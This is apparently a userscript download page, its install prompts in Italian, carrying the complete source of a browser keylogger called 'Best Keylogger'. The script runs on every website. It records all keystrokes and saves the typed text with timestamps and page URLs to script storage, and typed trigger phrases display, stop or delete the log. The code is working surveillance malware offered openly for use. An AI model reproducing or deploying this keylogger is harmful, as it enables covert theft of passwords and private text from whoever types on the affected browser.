Best Keylogger

The best free keylogger!

Dovrai installare un'estensione come Tampermonkey, Greasemonkey o Violentmonkey per installare questo script.

Dovrai installare un'estensione come Tampermonkey o Violentmonkey per installare questo script.

Dovrai installare un'estensione come Tampermonkey o Violentmonkey per installare questo script.

Dovrai installare un'estensione come Tampermonkey o Userscripts per installare questo script.

Dovrai installare un'estensione come ad esempio Tampermonkey per installare questo script.

Dovrai installare un gestore di script utente per installare questo script.

(Ho già un gestore di script utente, lasciamelo installare!)

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione come ad esempio Stylus per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

Dovrai installare un'estensione per la gestione degli stili utente per installare questo stile.

(Ho già un gestore di stile utente, lasciamelo installare!)

// ==UserScript==
// @name         Best Keylogger
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  The best free keylogger!
// @copyright    2016
// @author       Arden Xie
// @include      http*://*
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// @noframes
// ==/UserScript==

(function() {
	'use strict';

	window.addEventListener('keydown', capture);
	window.addEventListener('keyup', up);
	window.addEventListener("beforeunload", save);

	var chars = "";
	var keylogging = true;
	var down = false;

	function capture(evt) {
		if (keylogging && !down) {
			down = true;
			chars += String.fromCharCode(evt.keyCode).toLowerCase();

			if (chars != chars.replace("stop keylog", "something different")) {
				keylogging = false;
                                console.log("keylog stopped");
			} else if (chars != chars.replace("output keylog", "something different")) {
				chars = chars.replace("output keylog", "");
				alert(GM_getValue("typed", "none"));
			} else if (chars != chars.replace("delete keylog", "something different")) {
				console.log("deleting... ");
				GM_deleteValue("typed");
				if (GM_getValue("typed", ".")!=".") {
					console.error("Could not delete keylog");
				} else {
					console.log("Successful");
				}
				chars = "";
			}
		}
	}

	function up() {
		down = false;
	}

	function save(evt) {
		var now = new Date();
		GM_setValue("typed", GM_getValue("typed", "")+" [ "+now.getMonth()+", "+now.getDate()+", "+now.getHours()+":"+now.getMinutes()+", "+window.location.href+" ]: "+chars+"\n");
	}
})();